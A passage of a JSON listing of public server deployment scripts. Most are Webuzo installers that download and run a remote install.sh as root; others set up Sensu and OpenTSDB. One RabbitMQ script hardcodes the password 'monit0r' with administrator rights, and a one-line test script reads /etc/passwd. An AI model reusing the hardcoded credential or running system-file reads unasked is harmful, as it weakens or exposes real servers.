"2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/sh", "user_defined_fields": []}, {"id": 9241, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Admidio powered by Webuzo", "description": "Admidio is a free online membership management, optimized for clubs, groups and organizations. It consists of classical management members from a variety of modules that can be installed and adjusted to a new or existing website.\r\n\r\nRegistered users have your website by Admidio including access to predefined and user-configurable membership lists, people profiles and an Agenda. In addition, members may be pooled in groups are assigned properties and search for it.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Admidio and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Admidio powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Admidio and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Admidio :\n# Admidio is a free online membership management, optimized for clubs, groups and organizations.\n# It consists of classical management members from a variety of modules that can be installed \n# and adjusted to a new or existing website.\n###########################################################################################################\n\n# Install Admidio Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=449&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Admidio and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Admidio has been successfully installed\"\necho \" \"\necho \"You can now configure Admidio and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 12825, "username": "bozuslu", "user_gravatar_id": "67f0a5d0710560fd85e82a39cc71a567", "label": "bayram", "description": "Ek 2", "ordinal": 0, "logo_url": "", "images": ["linode/debian7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9242, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MeshCMS powered by Webuzo", "description": "MeshCMS is an online editing system written in Java. It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages are stored in regular HTML files and all additional features are file-based, without needing a database.\r\n\r\nMeshCMS has been thought as a quick tool to edit pages online, manage files and create some common components like menus, breadcrumbs, mail forms, image galleries and so on.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MeshCMS and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MeshCMS powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MeshCMS and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MeshCMS :\n# MeshCMS is an online editing system written in Java.\n# It provides a set of features usually included in a CMS, but it uses a more traditional approach: pages \n# are stored in regular HTML files and all additional features are file-based, without needing a database.\n###########################################################################################################\n\n# Install MeshCMS Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=385&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MeshCMS and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MeshCMS has been successfully installed\"\necho \" \"\necho \"You can now configure MeshCMS and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14362, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Sensu omnibus package\n#\n# This package contains all of the different Sensu components. Use specific scripts\n# to configure each component on different nodes.\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/configure-repo-sensu.sh\n\napt-get install -yq sensu", "user_defined_fields": []}, {"id": 9243, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Little Software Stats powered by Webuzo", "description": "Little Software Stats is a web application that allows users to monitor their software.\r\n\r\nLittle Software Stats is the first runtime intelligence software released as open source and free. It is designed and developed through MySQL and PHP which will allow most web servers to run it. Little Software Stats allows users to collect information including executions, installations, exceptions, and geographical location.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Little Software Stats and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Little Software Stats powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Little Software Stats and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Little Software Stats :\n# Little Software Stats is a web application that allows users to monitor their software.\n# Little Software Stats is the first runtime intelligence software released as open source and free.\n# It is designed and developed through MySQL and PHP which will allow most web servers to run it.\n# Little Software Stats allows users to collect information including executions, \n# installations, exceptions, and geographical location.\n###########################################################################################################\n\n# Install Little Software Stats Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=444&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Little Software Stats and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Little Software Stats has been successfully installed\"\necho \" \"\necho \"You can now configure Little Software Stats and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978971, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 9244, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "DIY powered by Webuzo", "description": "DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT. It is fully object-oriented and designed following the MVC architecture and REST design principles. The idea behind it is not to reinvent the wheel but instead to combine existing and proven technologies in a convenient and effective way.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure DIY and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "DIY powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install DIY and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About DIY :\n# DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT.\n# It is fully object-oriented and designed following the MVC architecture and REST design principles.\n# The idea behind it is not to reinvent the wheel but instead to combine existing and \n# proven technologies in a convenient and effective way.\n###########################################################################################################\n\n# Install DIY Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=242&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling DIY and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, DIY has been successfully installed\"\necho \" \"\necho \"You can now configure DIY and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 665116, "username": "prod-test-012", "user_gravatar_id": "0bc9230feab431086807dec2d7b9e877", "label": "test public2", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash test", "user_defined_fields": []}, {"id": 14364, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-repo-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nset -eux\n\ncurl -s http://repos.sensuapp.org/apt/pubkey.gpg | apt-key add -\necho \"deb http://repos.sensuapp.org/apt sensu main\" > /etc/apt/sources.list.d/sensu.list\n\napt-get update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13", "linode/opensuse15.2"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 8989, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla 2.5 powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla 2.5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla 2.5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla 2.5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla 2.5 :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful\n# online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most\n# popular Web site software available. Best of all, Joomla is an open source solution \n# that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla 2.5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=18&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla 2.5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla 2.5 has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla 2.5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9245, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ShopSite powered by Webuzo", "description": "ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses. With our e-commerce software and intuitive interface, you can have a store online in 15 minutes. With our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart.\r\n\r\nWith our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ShopSite and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ShopSite powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ShopSite and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ShopSite :\n# ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses.\n# With our e-commerce software and intuitive interface, you can have a store online in 15 minutes.\n# With our rich feature set you won''t outgrow our catalog software, and you will not need expensive \n# add-ons in order to have a fully functioning cart.\n###########################################################################################################\n\n# Install ShopSite Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=410&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ShopSite and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ShopSite has been successfully installed\"\necho \" \"\necho \"You can now configure ShopSite and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14365, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-rabbitmq-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Configures RabbitMQ for Sensu\n#\n# Dependencies:\n# - RabbitMQ\n##\nset -eux\n\nrabbitmqctl add_vhost sensu\nrabbitmqctl add_user sensu monit0r\nrabbitmqctl set_permissions -p sensu sensu \".*\" \".*\" \".*\"\nrabbitmqctl set_user_tags sensu administrator", "user_defined_fields": []}, {"id": 978973, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13", "linode/alpine3.15", "linode/ubuntu20.04", "linode/slackware14.1"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 7198, "username": "kidid", "user_gravatar_id": "0bcff359135eea23d1cc1306ef31b413", "label": "ddad", "description": "fsfgg", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9246, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "phpLiteAdmin powered by Webuzo", "description": "phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure phpLiteAdmin and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "phpLiteAdmin powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install phpLiteAdmin and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About phpLiteAdmin :\n# phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \n###########################################################################################################\n\n# Install phpLiteAdmin Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=431&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling phpLiteAdmin and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, phpLiteAdmin has been successfully installed\"\necho \" \"\necho \"You can now configure phpLiteAdmin and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14366, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-opentsdb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs OpenTSDB from source\n#\n# Provides:\n# - HTTP (TCP/4242)\n#\n# Dependencies:\n# - HBase (TCP/9000)\n# - ZooKeeper (TCP/2181)\n##\nset -eux\n\nsource env.sh\n\n# Install dependencies\napt-get install -yq openjdk-7-jre-headless\n\n# Install OpenTSDB\ncd /tmp\n\ncurl -sOL https://github.com/OpenTSDB/opentsdb/releases/download/v${OPENTSDB_VERSION}/opentsdb-${OPENTSDB_VERSION}_all.deb\ndpkg -i opentsdb-${OPENTSDB_VERSION}_all.deb\n\n# Create tables in HBase\nexport HBASE_HOME=/opt/hbase\nexport COMPRESSION=NONE\n\n/usr/share/opentsdb/tools/create_table.sh\n\n# Configure OpenTSDB\ncp $BASE_PATH/etc/opentsdb/opentsdb.conf /etc/opentsdb\n\n# Start OpenTSDB\nservice opentsdb start", "user_defined_fields": []}, {"id": 705310, "username": "dmc3", "user_gravatar_id": "3661544ff6045ff4ba8e4be7ac9c5819", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "test", "script": "#!/bin/bash\n\ncat /etc/passwd", "user_defined_fields": []}, {"id": 8991, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Drupal powered by Webuzo", "description": "Drupal is an open-source platform and content management system for building dynamic web sites offering a broad range of features and services including user administration, publishing workflow, discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies and XML publishing for content sharing purposes.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Drupal and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Drupal powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Drupal and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Drupal :\n# Drupal is an open-source platform and content management system for building dynamic web sites \n# offering a broad range of features and services including user administration, publishing workflow,\n# discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies \n# and 